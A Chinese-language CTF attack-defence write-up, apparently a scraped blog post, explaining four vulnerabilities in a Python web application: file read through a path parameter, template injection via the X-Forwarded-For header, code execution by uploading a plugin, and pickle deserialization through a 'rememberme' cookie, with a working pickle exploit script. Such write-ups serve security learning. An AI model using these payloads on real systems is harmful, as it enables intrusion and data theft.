当前位置: 首页 > news >正文

上海市赛/磐石行动2025决赛awd web2-python 4个漏洞详解

前言

赛中一直被宕,一直重启,没时间审代码,赛后也是猛猛挖了一波,平时不爱看代码,正好锻炼一下代码审计的能力

漏洞一:任意文件读取

这是最简单的一个漏洞,但是需要以admin的身份登录才能访问

在查看系统日志这里,通过path传参实现任意文件读取,不用审代码就能找到

漏洞二:模板注入

这个api并没有写前端来实现,需要审计代码,并且没有要求admin登录,所以即使你没有登录成功也可以从这里拿到flag

漏洞代码位于handlers/api/getip.py

class JsonpHandler:tpl = """
{{callback}}({real_ip: "{{real_ip}}"
});"""def GET(self):callback = xutils.get_argument_str("callback", "callback")real_ip = get_real_ip()self.tpl = self.tpl.replace("{{real_ip}}", real_ip)return xtemplate.render_text(self.tpl, real_ip = real_ip, callback = callback)

可以看到这里通过get_real_ip()函数来获取real_ip,这里的real_ip会导致ssti

def get_real_ip():real_ip_list = web.ctx.env.get("HTTP_X_FORWARDED_FOR")if real_ip_list != None and len(real_ip_list) > 0:return real_ip_list.split(",")[0]return web.ctx.env.get("REMOTE_ADDR")

在请求头里添加xff

可以看到成功解析了{{7*7}},下面使用最简单的payload读flag就行了,没有任何过滤

成功

漏洞三:上传插件rce

漏洞代码位置handlers/plugin/plugin_upload.py

class PluginUploadHandler:pattern_str = r"[0-9a-zA-Z\-_]"pattern = re.compile(pattern_str)def check_plugin_id(self, plugin_id=""):if not self.pattern.match(plugin_id):return "plugin_id 必须满足%r规则" % self.pattern_strreturn Nonedef POST(self):content = xutils.get_argument_str("content")meta = xutils.load_script_meta_by_code(content)plugin_id = meta.get_str_value("plugin_id")if plugin_id == "" or plugin_id == None:return FailedResult(code="400", message="id 不能为空")err = self.check_plugin_id(plugin_id)if err != None:return FailedResult(code="400", message=err)xutils.makedirs(xconfig.FileConfig.plugins_upload_dir)plugin_path = os.path.join(xconfig.FileConfig.plugins_upload_dir, plugin_id + ".py")with open(plugin_path, "w+") as fp:fp.write(content)# 加载插件try:load_plugin_file(plugin_path, raise_exception=True)return SuccessResult()except Exception as e:return FailedResult(message=str(e))xurls = (r"/plugins_upload", PluginUploadHandler,
)

这里有一个必传的参数plugin_id,通过get_str_value()函数获取

    def get_str_value(self, key, default_value = ""):value = self.meta_dict.get(key)if value is None:return default_valueelse:return str(value)
    def load_meta_by_code(self, code):for line in code.split("\n"):if not line.startswith("#"):continueline = line.lstrip("#\t ")if not line.startswith("@"):continueline = line.lstrip("@")# 去掉注释部分meta_line  = line.split("#", 1)[0]# 拆分元数据meta_parts = meta_line.split(maxsplit = 1)meta_key   = meta_parts[0]# meta_value = meta_parts[1:]if len(meta_parts) == 1:meta_value = ''else:meta_value = meta_parts[1]meta_value = meta_value.strip()self.add_item(meta_key, meta_value)self.add_list_item(meta_key, meta_value)return self.meta_dict

可以得知在传参的时候前面要跟上#和@

在我们上传成功之后通过load_plugin_file()函数加载插件

def load_plugin_file(fpath, fname=None, raise_exception=False):if not is_plugin_file(fpath):returnif fname is None:fname = os.path.basename(fpath)dirname = os.path.dirname(fpath)# 相对于插件目录的名称plugin_name = fsutil.get_relative_path(fpath, xconfig.PLUGINS_DIR)vars = dict()vars["script_name"] = plugin_namevars["fpath"] = fpathtry:meta = xutils.load_script_meta(fpath)context = PluginContext()context.is_external = Truecontext.icon_class = DEFAULT_PLUGIN_ICON_CLASS# 读取meta信息context.load_from_meta(meta)context.fpath = fpathcontext.plugin_id = meta.get_str_value("plugin_id")context.meta = metacontext.plugin_name = plugin_nameif context.plugin_id == "":# 兼容没有 plugin_id 的数据context.plugin_id = fpathif meta.has_tag("disabled"):return# 2.8版本之后从注解中获取插件信息module = xutils.load_script(fname, vars, dirname=dirname)main_class = vars.get("Main")return load_plugin_by_context_and_class(context, main_class)except Exception as e:# TODO 增加异常日志xutils.print_exc()if raise_exception:raise e

通过load_script()->exec_python_code执行上传的插件中的python代码

def load_script(name, vars = None, dirname = None, code = None):"""加载脚本@param {string} name 插件的名词,和脚本目录(/data/scripts)的相对路径@param {dict} vars 全局变量,相当于脚本的globals变量@param {dirname} dirname 自定义脚本目录@param {code} 指定code运行,不加载文件"""code = _load_script_code(name, dirname)return exec_python_code(name, code, record_stdout = False, raise_err = True, vars = vars)

exp

这里是没有回显的,可以配合前面的任意文件读取读flag或者把别人的服务给下掉之类的,怀疑当时就是有人用这里一直下全场的服务,导致大家会突然宕

漏洞4:pickle反序列化

这是最复杂的一个漏洞了,花费的时间最长,还是太菜了呜呜呜~~~

直接全局搜索危险函数pickle.loads,发现有两处

    def decode(self, session_data):"""decodes the data to get back the session dict """pickled = base64.decodestring(session_data)return pickle.loads(pickled)
def get_user_from_cookie():sid = get_session_id_from_cookie()user = get_user_by_sid(sid)if user is not None:return usercookies = web.cookies()remeberme = cookies.get("rememberme", "")if remeberme != "":user = pickle.loads(bytes.fromhex(remeberme))return user

但是进一步看会发现decode函数所在的类根本没使用,所以只需要看一下哪里调用了get_user_from_cookie()

继续全局搜索

def get_current_user():if TestEnv.has_login:return get_user_by_name(TestEnv.login_user_name)user = get_user_from_token()if user != None:return userif not hasattr(web.ctx, "env"):# 尚未完成初始化return Nonereturn get_user_from_cookie()

可以看到只有get_content_user()函数调用了,继续搜

发现有好几个接口都调用了这个函数,但是出了/system/index这个接口之外都加了一个修饰器

@xauth.login_required("admin")

而我们要想执行到

user = pickle.loads(bytes.fromhex(remeberme))

就不能进入

    if user is not None:return user

所以我们要让user为空,可以看到user是通过sid来获取的

user=get_user_by_sid(sid)

所以我们的思路是把sid置空或者传一个不存在的sid,让他通过rememberme参数来获取user

从而执行pickle.loads

如果这个接口加了@xauth.login_required("admin"),就必须要登录才能访问,而登录必须要sid,所以我们只能通过唯一的不需要登录的接口/system/index来打

把序列化的字符串hex编码一下传参即可

附上exp

import pickle, osclass RCE:def __reduce__(self):return (os.system, ("cat /flag > /tmp/flag.txt",))payload = pickle.dumps(RCE())
hex_payload = payload.hex()
print(hex_payload)

成功

特别说明:或许是环境的问题,用windwos跑出来的payload打不通,Linux跑出来的刚开始貌似也没成功(可能是pickle版本的问题),但pyy学长看了一眼突然好了 可恶的环境浪费我两小时

 

http://www.dtcms.com/a/357378.html

相关文章:

  • 漫谈《数字图像处理》之浅析图割分割
  • Java IO 流-详解
  • @GitLab 介绍部署使用详细指南
  • [Godot] C#获取MenuButton节点索引
  • 回车换行、缓冲区刷新、倒计时小程序
  • Woody:开源Java应用性能诊断分析工具
  • 智慧工地源码
  • STM32 USBx Device MSC standalone 移植示例 LAT1488
  • sr04模块总结
  • YOLO v11 目标检测+关键点检测 实战记录
  • 面向企业级产品开发的自动化脚本实战
  • 算法题(194):字典树
  • 分享一些关于电商商品详情API接口的实际案例
  • 做视频孪生的公司哪家好,推荐一家优秀的视频孪生公司
  • 基于51单片机环境监测设计 光照 PM2.5粉尘 温湿度 2.4G无线通信
  • 「LangChain 学习笔记」LangChain大模型应用开发:代理 (Agent)
  • 【基础知识】互斥锁、读写锁、自旋锁的区别
  • 预制菜餐厅:工业化与温度餐平衡术
  • 软件测试(四):等价类和判定表
  • AI Agent(人工智能代理)当前人工智能领域最炙手可热的概念之一,需要你来了解
  • Flowchart 教程文档
  • 程序员之电工基础-CV程序解决目标检测
  • Dify 从入门到精通(第 63/100 篇):Dify 的多语言支持(进阶篇)
  • 基于MATLAB的三维TDOA定位算法仿真实现
  • Rspack
  • 软件安装教程(二):Pycharm安装与配置(Windows)
  • Redis与MySQL数据不一致问题
  • python 转偶数
  • 【开题答辩全过程】以 基于JSP的养生网站系统为例,包含答辩的问题和答案
  • vue3的pinia